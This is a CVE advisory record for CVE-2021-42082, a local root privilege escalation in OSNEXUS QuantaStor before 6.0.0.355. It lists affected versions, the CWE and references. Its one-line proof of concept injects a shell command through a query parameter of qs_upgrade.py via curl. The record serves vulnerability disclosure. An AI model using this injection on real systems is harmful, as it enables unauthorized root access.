CVE-2021-42082 — Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355

CVE-2021-42082

Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355 PUBLISHED

Description (CNA)

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Affected (CNA)

Vendor / product	Versions
OSNEXUS / QuantaStor	affected 0 before 6.0.0.355

CWE

CWE-269

References

https://www.wbsec.nl/osnexus
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storage
https://csirt.divd.nl/CVE-2021-42082

ADP enrichment

CVE

No English description supplied.

https://www.wbsec.nl/osnexus
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage
https://csirt.divd.nl/CVE-2021-42082

CISA-ADP

No English description supplied.

No references supplied.